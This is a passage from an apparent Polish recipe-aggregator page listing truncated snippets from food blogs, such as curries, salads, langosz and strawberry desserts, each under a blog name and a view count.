miski. Cebule obrać, posiekać w średnią kostkę i wrzucić do mięsa. Całość oprószyć solą oraz pieprzem, zalać keczupem i bardzo dokładnie wymieszać tak by mięso było całe obtoczone w sosie. Przykryć folią i odstawić do lodówki na co najmniej kilka godzin. Po tym czasie całą zawartość miski przełożyć do naczynia żaroodpornego, przykryć i piec w temperaturze 200 stopni C przez

Simply Food
placuszki ziemniaczane z koprem i serem 153

oleju. Dodaję do ziemniaków, mieszam, doprawiam do smaku. Formujemy kotleciki, a następnie obtaczamy w bułce tartej. Kotlety smażę na oleju na rumiano z obu stron. Podaję z ulubionym sosem lub śmietaną

Gotowanie Patki
Tarta z fasolką szparagową 140

pieprz Przygotowanie D Fasolkę oczyszczamy, obcinamy końcówki, obgotowujemy 10 min w osolonym wrzątku. Odcedzamy i studzimy. Majonez mieszamy ze śmietaną, doprawiamy do smaku solą i pieprzem. Fasolkę, groszek i sos dokładnie mieszamy. Ciasto wykładamy w formie do pieczenia tarty, nakłuwamy widelcem, lekko podpiekamy w temp 200°C (około 5 min). Żeby ranty nie opadły, to zapiekamy ją z wysypaną fasolą

R'n'G Kitchen
KREWETKI W KETO CIEŚCIE (keto, LCHF, paleo, optymalne, bez glutenu i laktozy) 247

nieco chrupiące. Tłuszcz rozgrzać na patelni a następnie na średnim ogniu smażyć obtoczone w cieście krewetki do momentu zarumienienia. Krewetki podawać jako składnik sałatek lub przekąskę z dipami i sosami np czosnkowym, curry, teryaki, pomidorowym, barbecue itp. Smacznego!     Artykuł KREWETKI W KETO CIEŚCIE (keto, LCHF, paleo, optymalne, bez glutenu i laktozy) pochodzi z serwisu OLA LA LCHF

Ola la LCHF
Fasola w sosie pomidorowym z parówkami + filmik 204

Proponuję dziś bardzo szybki obiad, prosty i tani, a jednak bardzo smaczny . Użyłam do niego fasoli z puszki (żeby było szybko), sosu pomidorowego i parówek. Weganie i wegetarianie mogą z powodzeniem zwykłe parówki zastąpić sojowymi , które też świetnie nadadzą się do tego dania. Do przepisu oczywiście dołączam filmik dostępny na końcu posta. Przepis jest ze swej natury bezglutenowy, jeśli parówki

Kawa z mlekiem
Sałatka z tortellini, tuńczykiem i szczypiorkiem 178

uroczystościach jak i również świetny dodatek do dań z grilla. Szybka w przygotowaniu a jaka smaczna! 250 g kolorowego tortellini z szynką 1 zielony ogórek 200 g tuńczyka w sosie własnym 6 dużych rzodkiewek ½ pęczka świeżego szczypiorku Sól Pieprz 3 łyżki majonezu Makaron gotujemy do miękkości w delikatnie osolonej wodzie. Odcedzamy. Ogórka obieramy, kroimy w kosteczkę. Tuńczyka odsączamy z zalewy

VioletoweKucharzenie
calzone klasyczne 169

farsz: ok. 300 g mozzarelli pokrojonej na plasterki 2 pomidory pokrojone w plasterki ok.100 szynki (ulubionej) pokrojonej w plasterki listki bazylii sól, pieprz, oregano dodatkowo do podania: sałata ulubiony sos do pizzy

Domowy Smak Jedzenia
Curry z boczniakami 259

filet z kurczaka 1/2 cukinii 250 g boczniaków 1 cebula 1 puszka mleka kokosowego 1 łyżka przyprawy garama masala 1 łyżeczka curry 1/2 łyżeczki kurkumy 3-4 łyżki sosu … Czytaj dalej Curry z boczniakami

czarrna od kuchni
Papryka wędzona czyli nowa przyprawa na polskim rynku 230

zatem idealna do leczo, albo wszelkich gulaszy czy zup gulaszowych. Poza tym można ją dodawać również do dań typowo wegetariańskich, a nawet wegańskich. Nadaje ona lekko wędzonego aromatu, będzie sosem świetnie komponować się na przykład z świeżą papryką, ziemniakami, boczniakami czy bakłażanem

Trochę smaku
Pyszna surówka z pekińskiej kapusty 194

jedną z naszych ulubionych. Przygotowuję ją w większych ilościach, bo zawsze znika bardzo szybko. Czasem lubię ją jeść od tak bez niczego. Wczoraj podałam ją do placków ziemniaczanych z sosem z piersi z kurczaka. Całość smakowała wspaniale Surówka z pekińskiej kapusty jest naprawdę prosta w przygotowaniu. Jedynym wyzwaniem (zwłaszcza jak przygotowujecie ją w większych ilościach) jest siekanie i tarcie składników

Słodkie okruszki
Udka kurczaka z grzybami i ziemniakami 128

śmietanką i majonezem. Dodajemy posiekany lubczyk i oczyszczone udka z kurczaka. Ziemniaki obieramy, kroimy na ćwiartki, gotujemy kwadrans w osolonym wrzątku, odcedzamy. Do naczynia żaroodpornego, przekładamy mięso wraz z sosem, układamy ziemniaki. Całość zapiekamy 45 min w temperaturze 180°C . Podajemy z ulubioną surówką

R'n'G Kitchen
Pikantne, kawałki kurczaka z piekarnika z wódką 236

tego przepisu ) marynata : 2 łyżki oleju rzepakowego 1 łyżka, mielonego chilli ( można mniej lub zmienić na ostrą paprykę ,my lubimy ogniście ) 1 łyżka cukru ( zapewnia, chrupkość skórki ) 1 łyżka sosu worcester 1/2 łyżeczki oleju sezamowego 100 ml wódki sól do smaku ( około 1 płaskiej łyżki ) (adsbygoogle = window.adsbygoogle || []).push({}); Ćwiartki z kurczaka myjemy , oczyszczamy ze zbędnych , nie kulinarnych elementów , dzielimy

Ogrodnik w podróży
Schabowe roladki na jarzynce w sosie teriyaki 178

szybkim i pysznym obiadem na już a do tego są bardzo smakowite. Zachęcam zatem do wykorzystania pomysłu. Jakie roladki jada się w Twoim domu? Schabowe roladki na jarzynce w sosie teriyaki. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Sałatka z awokado, jajkiem i wędzonym twarogiem... 241

awokado wyjmij pestkę, obierz i pokrój w plasterki. Rozłóż na wierzchu sałatki.  Ser pokroić lub po prostu rozkruszyć w palcach i posyp nim resztę składników. Całość polej przygotowanym sosem

Lejdi of the house
Wywar z kurczaka 210

podpiekam w piekarniku mocno, a raz dodaję surową od razu, najczęściej z łupinką. Aromatyczny, prawdziwy, z odrobiną soli, zdrowy, prosty, robi się sam. Dobry wywar jest podstawą zup, dań, sosów, tych zimnych i ciepłych, dodawany do pasztetów wzbogaca smak, dodaje soczystości. Składniki: 6 pałek z kurczaka, podudzi, ud 3 marchewki 2 pietruszki 1 seler 1 duża cebula z łupinką kawałek

Zasmakuj Kuchni
Langosz- węgierski placek z Chorizo 171

mleko, cukier, sól i olej. Przed smażeniem na głębokim oleju ciasto jest formowane w płaskie placki o średnicy kilku-kilkunastu centymetrów. Podawane na rozmaite sposoby. Moje placki podałam z sosem czosnkowym, chorizo i żółtym serem. … Czytaj dalej Langosz- węgierski placek z Chorizo

gotuj ze mną
Pieczeń z karkówki z pieczarkami 199

Jeśli już najdzie mnie ochota na mięso to musi być pyszne tak jak dzisiejsze danie. Mięso jest kruche, soczyste i mega pyszne a w sosie z pieczarkami jest obłędne, ma lekko cytrynowy posmak, polecam. Gotowi na pyszny obiad? zapraszam. Liście limonki kafir nabędziecie w marketach lub zw Kuchniach świata. Pieczeń z karkówki z pieczarkami. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Kurczak słodko-kwaśny 285

zalewy z puszki ananasa dodajemy 2 łyżki mąki ziemniaczanej i mieszamy. Na patelnię dodajemy zalewę z ananasa z mąką ziemniaczaną, 2 łyżki cytryny i 2 łyżki masła klarowanego. Gdy sos zgęstnieje nasze danie jest gotowe. Kurczak słodko-kwaśny doskonale smakuje z ryżem lub makaronem ryżowym

Dieta bez mleka
Domowa maggi w płynie 462

Domowa maggi w płynie Przepisy Thermomix Składniki: 1 pęczek świeżego lubczyku (ok. 200 g) 5o g suszonego lubczyku 1 łyżka pieprzu czarnego w ziarnach 20 g soli 1 łyżka sosu sojowego 1 duża cebula kilka listków laurowych kilka ziaren ziela angielskiego 2 suszone grzyby 250 g wody Przepisy Thermomix. Domowa maggi w płynie. Wykonanie: Lubczyk dokładnie myjemy. Wkładamy do naczynia

Themo przepisy
Langosz , węgierski przysmak w wersji mini 223

cebulą na patelni , dodajemy paprykę , pokrojoną w paski , czosnek . Smażymy do momentu , aż składniki się zrumienią , na koniec wlewamy pomidory z puszki, doprawiamy do smaku i dusimy aż sos zgęstnieje – odparuje . Farsz , układamy na wierzchu placka , wcześniej pomazanego kwaśną śmietaną ( tak ona jest wszechobecna i charakterystyczna dla kuchni węgierskiej ) . Serwujemy na gorąco . Smacznego   Artykuł Langosz , węgierski przysmak

Ogrodnik w podróży
Młode ziemniaki z salsiccia i sadzonym jajkiem 148

usmażyłam czosnkową salsiccia. Lekko ostra kiełbasa świetnie pasuje do młodych ziemniaków, które o tej porze są niemalże słodkie. Do tego dania usmażyłam sadzone jajka z płynnym żółtkiem, które zastąpiło sos. Trochę zieleniny w postaci szparagów i szpinaku i tani obiad gotowy w 30 minut! Jak ja lubię takie obiady! Oczywiście zamiast salsiccia można wybrać inną kiełbasę i przyrządzić obiad podobnie

codojedzenia
Pieczony filet z kurczaka z mozzarellą i pomidorami 650

środek każdego wgłębienia wkładamy plaster pomidora, mozzarelli, a pomiędzy nimi wkładamy listek świeżej bazylii. Każdy filet posypujemy solą i pieprzem. 2 łyżki pesto mieszamy z 2 łyżkami oleju. Powstałym sosem polewamy mięso. --> Filety układamy w naczyniu żaroodpornym. Wstawiamy do piekarnika nagrzanego do 200 stopni i pieczemy mięso około 20-25 minut. --> Smacznego Notatki *jeżeli mamy większe pomidory to możemy

Marta Gotuje
KWIATY AKACJI W TEMPURZE 170

olej do temperatury 170°C. Zanurzaj kwiaty akacji w cieście, i smaż przez około 3 minuty. Osącz na ręczniku papierowym. Posyp drobnym cukrem. Podawaj na ciepło. * typu śmietana do sosów Danone

Smaki Francji współczesna kuchnia francuska
PASTA Z TUŃCZYKA JAJKA I RZODKIEWKI 180

Składniki: 2 puszki tuńczyka w sosie własnym  3 ugotowane na twardo jajka 2-3 rzodkiewki 1 łyżka majonezu łyżeczka ostrej musztardy koperek lub szczypiorek pieprz czarny świeżo mielony Wykonanie: Jajka siekamy drobno. Tuńczyka odsączamy z zalewy. Rzodkiewki kroimy w kosteczkę. Wszystkie składniki wrzucamy do miseczki, dodajemy majonez, musztardę, szczypiorek, doprawiamy do smaku pieprzem (moim zdaniem sól jest zbędna

Walijskie Pichcenie
Pieczony kalafior z piekarnika 254

przesadzona. Taki kalafior według mnie najlepiej smakuje podany z jogurtem greckim, który idealnie się z nim komponuje. Oczywiście zachęcam Was do eksperymentowania i podawania z innymi dodatkami czy ulubionymi sosami. Według mnie pieczony kalafior smakuje najlepiej, gdy jest dobrze przypieczony – jest wtedy delikatnie chrupiący, co dodatkowo podkreśla jego smak. Zachęcam do wypróbowania oraz podzielenia się opinią Smacznego! Zobacz też

Kuchnia Bazylii
Wegetariańskie , placki warzywne z batatem i cukinią 199

stron na złoto . Na patelnię wykładajcie po łyżce ciasta i delikatnie rozpłaszczajcie łopatką , żeby placki były cienkie . Podajemy na gorąco z dowolnymi dodatkami , super sprawdza się mizeria lub sos tzatzyki . Smacznego !   Artykuł Wegetariańskie , placki warzywne z batatem i cukinią pochodzi z serwisu Ogrodnik w podróży

Ogrodnik w podróży
TRUSKAWKI - 11 POMYSŁÓW NA SŁODYCZE Z TRUSKAWKAMI, BEZ CUKRU I TRADYCYJNE 162

której wykonanie wymaga trochę pracy, ale smak rekompensuje ten czas w stu procentach. SŁODYCZE Z TRUSKAWEK BEZ CUKRU DOMOWE LODY TRUSKAWKOWY SORBET "WODNE LODY" DOMOWE ŻELKI JAGLANKA Z TRUSKAWKOWYM SOSEM MINI SERNICZKI TRADYCYJNE WYPIEKI Z TRUSKAWKAMI CZEKOLADOWA TARTA Z TRUSKAWKOWYM MUSEM BABECZKI NA MAŚLANCE Z KRUSZONKĄ TRUSKAWKOWA CHMURKA MINI BISZKOPCIKI ZE ŚMIETANKĄ Z MASCARPONE BŁYSKAWICZNE BABECZKI NA JOGURCIE BABECZKI BISZKOPTOWE

Upiecz sobie babeczkę
Zdrowa sałatka „z zupek chińskich” 262

usmażona) duży ogórek zielony pół główki średniej kapusty pekińskiej około 100 g makaronu noodle papryka czerwona puszka kukurydzy 3-4 łyżki majonezu sól, pieprz Przyprawa do makaronu: 2 łyżeczki sosu sojowego ciemnego 2 łyżki oliwy szczypta: czosnku granulowanego, soli, pieprzu, ostrej papryki, imbiru pół łyżeczki: cukru, suszonej pietruszki, curry, przyprawy 5 smaków (opcjonalnie) Przygotowanie Składniki na przyprawę mieszamy ze sobą

e-PrzepisyKulinarne
Zupa kapuściana 393

świeżej kapusty i warzyw można podawać bez żadnych dodatków lub podzielić ją na kilka porcji i wzbogacić jej smak o: - ryż, kaszę pęczak lub ziemniaki - kiełbasę lub wędzonki - sos tabasco lub słodką wędzoną paprykę

AniaGotuje.pl
Szybka sałatka z ogórków, rzodkiewki i bazylii 162

Sałatki nie musiałam dosalać, dzięki czemu warzywa nie puściły soku i sałatka po przestaniu w lodówce przez kilka godzin nadal wyglądała świeżo oraz apetycznie. Jednak zamiast dresingu możecie użyć sosu vinegret, czy też samych przypraw

Di gotuje
Surówka z rzodkiewkami, ogórkami i sałatą lodową 134

średnią kostkę, rzodkiewkę i szczypiorek w plasterki, wszystko wrzucamy do miski. Do słoika wlewamy jogurt i sok z cytryny, wsypujemy cukier, zamykamy i energicznie mieszamy (do rozpuszczenia cukru). Sos wlewamy do warzyw, całość doprawiamy solą i świeżo mielonym pieprzem, mieszamy

Kardamonovy
Spaghetti dla diabetyka #talerzdiabetyka 327

wystarczy blanszować przez 1 minutę, marchew przez maksymalnie 2 minuty. Im krócej tym lepiej, bo gotowanie marchewki zwiększa jej indeks glikemiczny. Na talerze wyłożyć porcję każdego z makaronów. Odkryć sos, wyjąć z niego liście laurowe, które oddały już cały smak. Dodać posiekane liście bazylii, wymieszać dokładnie i spróbować. Jeśli trzeba dosolić. Wykładać na talerze z makaronem. Na wierzchu posypać niewielką

Dietolog
Menu na tydzień: szybkie gotowanie, czyli 6 dań z przekrętem 182

pracę, które okazały się trafione i którymi chcemy się z Wami podzielić, takich jak pizza dla leniwych, która nie wymaga zagniatania, wyrabiania, a do niej super prosty i smaczny sos pomidorowy, albo stir fry z polędwiczką tak zamacerowaną, że wystarczy smażyć ją 3 minuty. Każde danie w tym tygodniu jest lekko „przekręcone”: w kurczaku panierowanym jest tajemniczy składnik, który zupełnie

Niedzielny kucharz
Makaron z warzywami i kurczakiem 142

kawałki żeby były mniejsze) Chwilę smażymy. Dodajemy pokrojone pomidorki suszone, smażymy. Dodajemy przekrojone na pół pomidorki koktajlowe, dodajemy pindżur, śmietany, sól, pieprz. Nakładamy makaron na talerz, dodajemy sos z mięsem i warzywami, posypujemy startym parmezanem i świeżo zmielonym pieprzem.   Artykuł Makaron z warzywami i kurczakiem pochodzi z serwisu Moja Qchnia Pełna Smaku

MojaQchnia.pl
Młoda kapusta z czerwoną fasolą 184

jakiś czas mieszając . Jak już wszystko ” sflaczeje ” czyli zrobi się miękkie , wsypujemy wypłukaną na sitku i odsączoną z zalewy fasolkę , dolewamy śmietankę , dusimy do momentu zagęszczenia się sosu . Podajemy posypane obficie czarnym pieprzem , lub koprem , a najlepiej użyć obu Smacznego !   Artykuł Młoda kapusta z czerwoną fasolą pochodzi z serwisu Ogrodnik w podróży

Ogrodnik w podróży
Policzki wołowe w sosie koperkowym 183

Policzki wołowe są przepyszne. Długo duszone mięso jest kleiste i tak mięciutkie że potrawę z przyjemnością jemy. Dziś zrobiłam policzki w sosie koperkowym. Delicje! Potrzebujemy: Czytaj więcej

Tylko pysznie
#27 Kuchnia żydowska, podróże kulinarne, plany 205

wszystkich do obserwowania! Tam znajdziecie wszystkie przepisy, inspiracje, podróże kulinarne i wiele, wiele więcej! Na przykład - pyszne danie z kuchni żydowskiej - tabule mosze, czyli kurczak ze świeżymi warzywami z sosem bazyliowym. Zapraszam was bardzo serdecznie i pozdrawiam! Zaobserwujcie - nie pożałujecie

Taste of imagination
Drobiowa sałatka z truskawkami, szpinakiem i chrupiącymi migdałami 203

Truskawki umyć, pozbawić szypułek, pokroić na ćwiartki lub połówki. 3. Szpinak umyć i osuszyć, a mozzarellę odsączyć z zalewy. 4. Płatki migdałowe uprażyć na suchej patelni. 5. Dressing: Składniki sosu dokładnie ze sobą wymieszać i wstawić do lodówki na około 30 minut żeby się przegryzły. 6. Na talerzu ułożyć szpinak, filet z kurczaka, truskawki, ser mozzarella posypać płatkami migdałowymi, wymieszać

Szalona Kuchnia Eweliny
Rolada drobiowa parzona w garnku-przepis i dokładny opis 364

naprawdę krótki. Rolada drobiowa parzona w garnku to świetny pomysł na przygotowanie domowej, zdrowej wędliny. Jest wyborna nie tylko do kanapek ale także na ciepło w połączeniu z ulubionym sosem np pieczarkowym lub duszoną papryką. Rolada z indyka parzona w garnku (adsbygoogle = window.adsbygoogle || []).push({}); SKŁADNIKI pół piersi z indyka 2 łyżki przypraw ziołowych np : szałwii,rozmarynu,curry, papryki sól pieprz

zielonacukinka
Zupa gulaszowa z cukinią 174

powodzeniem może zastąpić drugie danie. Aromatyczna i bardzo esencjonalna zupa gulaszowa z cukinią jest bardzo smacznym daniem jednogarnkowym na dość szybki obiad.  Mięso gotuje się w pachnącym ziołami sosie z dodatkiem małej ilości wody, dlatego jest mięciutkie i bogate w smaku. Do zupy gulaszowej użyłam niezbyt tłustej łopatki wieprzowej, która po ugotowaniu wręcz rozpływa się w ustach. Zupę gulaszową

Kuchcik gotuje
Potrawka z kurczaka z soczewicą i makaronem 222

Pomysł na szybki obiad! Kurczak w kremowym serowym sosie z dodatkiem zielonej soczewicy i makaronu durum. Pyszny i syty obiad! 200 g fileta z piersi kurczaka Przyprawa do mięsa Czosnek granulowany 1 cebula 7 pieczarek 2 łyżki zielonej soczewicy 2 łyżki kukurydzy 1 szklanka bulionu drobiowego 100 g serka topionego gouda 1 łyżka śmietany 18% Sól Pieprz 1 szklanka makaronu

VioletoweKucharzenie
Makaron z truskawkami i twarogiem 199

drobne sito.   Twaróg wymieszaj ze śmietaną, esencją waniliową i pozostałym cukrem. Odcedzony, jeszcze ciepły makaron wymieszaj z przygotowanym twarogiem.   Nałóż na talerze, polej sosem i udekoruj świeżymi truskawkami. SMACZNEGO!   Dzięki, że jesteś i zostawisz komentarz pod wpisem. Artykuł Makaron z truskawkami i twarogiem pochodzi z serwisu Jakub Kuroń

kuron.com.pl
Ziemniaczana sałatka ze szparagami w pesto 216

szparagi i mnóstwo ziół. Bardzo aromatyczna, z bazylią, koperkiem i natką pietruszki oraz czosnkiem, z dodatkiem jajek przepiórczych i parmezanu. Bardzo prosta bo właściwie z trzech podstawowych składników plus sos ale bardzo kompletna w smaku. Emilka na wakacjach z dziadkami w Portugalii, niestety mają tam znacznie gorszą pogodę niż my w Polsce no ale kto by się spodziewał takiego lata

Cooking for Emily
Czeskie knedliki. 213

czasie gotowania, więc jeśli nie będą miały miejsca to się posklejają. W połowie gotowania przewróciłam knedliki, żeby się równo ugotowały. Gotowe knedliki pokroić na kilku centymetrowe plastry. Podawać z sosem. U nas były z gulaszem

Agusiowe smakołyki
Zalipianki Ewy Wachowicz - czy warto tu wpaść? 232

której się nie da zjeść. Straszny misz masz... sałatka robi wrażenie dania zrobionego "na winie", czyli co mi się nawinie pod rękę, to wrzucam na talerz, sernik krakowski z sosem wiśniowym (18 zł) - sernik jest bardzo dobry, delikatny i kremowy, zastanowiło nas tylko jakim cudem w środku są bardzo wyczuwalne kryształki grubego cukru? Do picia zamawiamy 2 różne margarity; jedna

Kulinarne przygody Gatity
7 przepisów, które musisz wypróbować w czerwcu 169

obiecuję, że nie pożałujecie :)) 7 przepisów, które musisz wypróbować w czerwcu 1. Knedle z truskawkami 2. Zupa z młodego bobu 3. Pieczony kalafior na ostro 4. Fasolka szparagowa w sosie pomidorowym 5. Tarta malinowa 6. Orzeźwiająca sałatka z arbuza, fety i mięty 7. Bezglutenowe galette z owocami Artykuł 7 przepisów, które musisz wypróbować w czerwcu pochodzi z serwisu

365 dni dookoła kuchni
Domowy makaron z truskawkami 210

części. Jedną miksujemy z cukrem pudrem, drugą kroimy na części. Śmietankę ubijamy z dodatkiem cukru pudru (lekko, a nie na sztywno). Makaron podajemy na ciepło lub na zimno, polany sosem truskawkowym, z dodatkiem ubitej śmietanki i truskawek. Domowy makaron z truskawkami to kolejne wspomnienie z dzieciństwa. Lekkie danie obiadowe na upały… i nie tylko. Lubią je i dzieci, i dorośli

mojewypiekiinietylko
chłodnik truskawkowy 147

innego jak jogurt z truskawkami i makaronem. Ja lubię w tej kolejności a dzieciaki wolą więcej makaronu a mniej płynnego i wtedy to po prostu makaron z sosem truskawkowym. Jakby tego nie nazwać to danie jest genialne. Tanie, banalnie proste, szybkie a palce lizać. Chyba każdy z nas w dzieciństwie jadał. A jeśli znajdzie się ktoś, kto nie jadł

Domowa Cukierenka-Domowa Kuchnia
Karminadle z warzywami 183

się nie dopieką w środku . Obtaczamy w mące i smażymy na oleju , na złoty kolor . Gotowe ,serwować można ze wszystkim , ale najlepiej smakują z domowymi frytkami No i sosem czosnkowym Smacznego !   Artykuł Karminadle z warzywami pochodzi z serwisu Ogrodnik w podróży

Ogrodnik w podróży
Pizzowy warkocz z salami i serem 252

kulę. Rozwałkować ją na duży prostokąt i potem ułożyć na dużej blaszce do pieczenia wyścielonej papierem do pieczenia. Ponacinać boki pozostawiając ok. 10 cm środka Na środkowej części rozsmarować sos pomidorowy. Posypać 3 łyżkami startego sera, ułożyć salami i posypać startym serem. Dodać przekrojone oliwki i posypać oregano. Zawinąć wycięte paski na nadzienie, zakładając jeden pasek na drugi

Oka w rosole czyli KaFka gotuje
Sałatka z roszponką i tuńczykiem 169

zasmakują :) Składniki na 2 porcje: 1 opakowanie roszponki (125 g) 10-12 pomidorków cherry 0,5 ogórka szklarniowego 4-6 rzodkiewek 1 mała puszka tuńczyka w kawałkach w sosie własnym sól, pieprz oliwa z oliwek   Liście roszponki rozłożyć na dwa talerze. Pomidorki pokroić w ćwiartki, ogórka obrać i pokroić w półplasterki, podobnie rzodkiewkę. Tuńczyka osączyć z zalewy i poukładać

Simply Food
Budyń z tapioki z młodym kokosem i czerwoną porzeczką (Vege & Gluten free) 194

przeźroczysta. Choć sam maniok uprawiany jest w Ameryce Południowej, to coraz bardziej popularny jest w kuchni azjatyckiej. Ze względu na swoją konsystencję łatwo wyczarujecie z niego różne puddingi, zagęścicie sosy czy też stworzycie oryginalne dodatki do waszych deserów.  Dzisiaj budyń o magicznym smaku, nie słodki a bardzo kokosowy w smaku do tego w zestawieniu z świeżą czerwoną porzeczką tworzy

vaniliowoczekoladowa
Fasolka w pomidorach po grecku – z cytryną i smażonym serem halloumi 233

Niejednokrotnie pisałam, że pomidory w puszce to żelazny punkt naszej spiżarni – zupa, sos, gulasz, włoska pasta – wszystko jedno – pomidory po prostu muszą być na półce! Ten gulasz jest prosty i szybki do zrobienia, wymaga kilku niedrogich i ogólnodostępnych składników. Jego podstawą są puszkowane pomidory i puszkowana fasolka, plus kilka aromatycznych dodatków. Fasolka w pomidorach po grecku jest lekka, świeża, orzeźwiająca

Karo in the Kitchen
Makaron w ziołowym, ekspresowym sosie 244

Dzisiaj propozycja makaronu, który może być całkowicie osobnym, pysznym daniem, ale genialnie sprawdzi się także jako dodatek na przykład do ryby. Pomimo iż sos nie wymaga długiego gotowania, czy jakoś bardzo skomplikowanej bazy, to jest bardzo aromatyczny i absolutnie niczego mu nie brakuje. Zioła, zwłaszcza świeże, mają to do siebie, że najlepiej dodawać je do potraw pod koniec gotowania, gdyż

Pichceniomania
Bitki z indyka 225

Bitki z indyka to bardzo smaczna propozycja obiadowa. Sos wzbogaciłam dodatkiem pieczarek i strąka czerwonej papryki i dla smaku i dla koloru. To dobry pomysł na wykorzystanie piersi indyka. Jeśli omijasz filet z indyka szerokim łukiem, bo myślisz, że to nieciekawe, suche mięso koniecznie zrób te bitki! Danie jest lekkie, smaczne idealne do tłuczonych ziemniaczków, kopytek, klusek i wszystkich kasz

Gotuj zdrowo!Guten Appetit!
KURCZAK, BEZ KOŚCI, NADZIEWANY MIĘSEM MIELONYM + FILMIK 176

Kurczak nadziewany mięsem jest idealny jako dodatek do pieczywa, można go również podać na ciepło, z sosem  jako danie obiadowe. Jest bardzo smaczny, polecam.  SKŁADNIKI :  1 kurczak ( 1/5 kg ) pozbawiony kości  sól, pieprz, czosnek, słodka papryka do natarcia kurczaka

Kulinarne Fantazje Marioli
Karkówka pieczona z młodą marchewką 164

czasie zdjąć przykrywkę i zapiekać jeszcze aż mięso ładnie się zrumieni z wierzchu (około 10 minut). Po wyjęciu z pieca można odlać część płynu i zrobić z niego sos (zagęszczając go mąką i śmietaną). Jednak wychodzi on bardzo tłusty i nie każdemu może odpowiadać. Karkówkę można podać z kaszą lub młodymi ziemniakami

My simple kitchen
Kurczak w śmietanie 202

smacznym daniem, do którego łatwo dobrać dodatki. Większość sałat, surówek pasuje do drobiu, więc problemu nie ma, jednak trudno się zdecydować Kurczak w śmietanie to danie, które w pysznym sosie zachwyci każdego, uwierzcie mi Dziś u mnie kawałki kurczaka duszone z cebulą i przyprawami oraz słodką śmietanką. Bardzo aromatyczne i soczyste mięso, zapach unosi się w kuchni, szczególnie śmietanki

Zasmakuj Kuchni
Boeuf Strogonow 141

Klasyka gatunku. Pożywne, syte, smaczne danie czyli gulasz z wołowiny z dodatkiem pieczarek oraz kiszonych ogórków. Boeuf Strogonow -nazwa pochodzi od połączenia słowa “wołowina” (smażona polędwica z sosem) i nazwiska rosyjskiego generała i urzędnika Aleksandra Grigorjewicza Stroganowa. Zawsze wydawało mi się że to danie trudne i czasochłonne, tymczasem przygotowanie go zajęło mi zaledwie 1,50 h. Polecam. Czytaj więcej

Bernika - moj kulinarny pamietnik
Pierogi a’la kebab 319

pieczone w piekarniku z rewelacyjnym farszem warzywno – mięsnym. Brzmi ciekawie? Smakuje jeszcze lepiej! Najlepiej smakują jeszcze ciepłe, zaraz po upieczeniu podane np. z sosom czosnkowym, ale równie dobre są na drugi dzień po odgrzaniu. Z podanej porcji wyjdzie Wam spora ilość pierogów, które możecie również zamrozić i wyjąć

Marta Gotuje
Szakszuka z chorizo i chili / Chorizo chili shakshuka 210

warzywa zmiękną. Dodaj przyprawy, wymieszaj i smaż przez kolejne 2 minuty. Dodaj krojone pomidory, dopraw cukrem, solą i pieprzem do smaku, wymieszaj, gotuj przez minutę, po czym zrób w sosie 4 otwory do których wbij po jednym jajku. Przykryj i gotuj, aż białka się zetną ale żółtko wciąż będzie płynne, max przez 10 minut. Zdejmij z ognia i posyp kolendrą

karmelowy
Chili con carne (z indykiem) 448

mięsem. To popularna jednogarnkowa potrawa kuchni tex-mex, czyli kuchni z pogranicza teksańsko-meksykańskiego, a jej składnikami są papryka chili, cebula, pomidory, wołowina, fasola. Ta oryginalna przypomina mi sos bolognese, ponieważ dodaje się do niej drobno siekane lub nawet mielone mięso. Może stanowić samodzielne danie, ale tez często jest podawana z ryżem albo tacos. Ja pokombinowałam ze składnikami, dodając pokrojonego

Obiad gotowy
Młoda kapusta z kiełbasą i makaronem 171

roztopić masło, następnie dodać mąkę i chwilę przesmażyć na małym ogniu do połączenia składników. Stopniowo wlewać  szklankę wody z ugotowanej kapusty. Energicznie mieszać rózgą kuchenną aż zgęstnieje. Zasmażkę-sos dodać do kapusty, wymieszać. Makaron ugotować al dente wg przepisu na opakowaniu. Odcedzić  na sicie, przelać zimną wodą. Dodać do kapusty, dokładnie wymieszać. Podawać od razu, ale równie

Wanilia i Kardamon
Rzodkiewki z jogurtem 240

zainteresowani podobnym przepisem, zapraszam na sałatkę z rzodkiewek z jajkami, szczypiorkiem oraz serkiem wiejskim ( KLIK ). 3 pęczki rzodkiewek 4-5 jajek pęczek szczypiorku + opcjonalnie 3-4 listki czosnku niedźwiedziego Sos: 1 szkl. jogurtu naturalnego 1 łyżka majonezu 1 ząbek czosnku sok z cytryny sól, pieprz, cukier Jajka gotujemy na twardo. Po przestudzeniu obieramy i kroimy w dużą kostkę. Rzodkiewki kroimy

Smaki Na Talerzu
Drożdżówki z truskawkami i kruszonką 564

przetworami, bo po zrobieniu porządków w spiżarce okazało się, że mam jeszcze dżemy truskawkowe z 2014 roku! W tym roku kupiłam w sumie 8kg truskawek i zrobiłam z nich: sos do makaronu, galaretkę z truskawkami, sok truskawkowy (przepis na niego postaram się opublikować niebawem), kompoty na zimę, kompot do picia na bieżąco, pierogi, drożdżówki, które widzicie poniżej

Mania Wypiekania
Spaghetti z krewetkami, szpinakiem i pomidorkami koktajlowymi 175

dodajemy szpinak. Gdy szpinak się skurczy wrzucamy pokrojone na pół pomidorki koktajlowe. Po 3 minutach dodajemy śmietanę lub jogurt i doprawiamy solą i pieprzem. Makaron odecedzamy i mieszamy z sosem

Czarnawisienka
Bitki cielęce w sosie własnym 233

ogniu około 1-1,5 godziny do miękkości. Łyżkę mąki wsypujemy do połowy szklanki wody i dokładnie mieszamy, żeby nie było grudek, następnie dodajemy do garnka i mieszamy, aż sos lekko zgęstnieje, Smacznego

Oka w rosole czyli KaFka gotuje
” Kościerskie ” sakiewki drobiowe z lubczykiem i pieczarkami 205

tego czasu , wyciągamy nasze sztywniaki z lodówki i smażymy na złoty kolor z obu stron , na średnim ogniu , aż do uzyskania złocistej panierki . Można serwować same lub z dowolnymi sosami i dodatkami Smacznego !     Artykuł ” Kościerskie ” sakiewki drobiowe z lubczykiem i pieczarkami pochodzi z serwisu Ogrodnik w podróży

Ogrodnik w podróży
Pieczone pulpety z młodej kapusty 240

coś z niej zrobię. I tak oto powstały pieczone pulpety, pyszne, zdrowe i aromatyczne. Polecam na obiad czy jako posiłek do pracy czy szkoły, smakują wybornie. Do podania ulubiony sos - u mnie z chili. Pieczone pulpety z młodej kapusty. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Sałatka z truskawkami 144

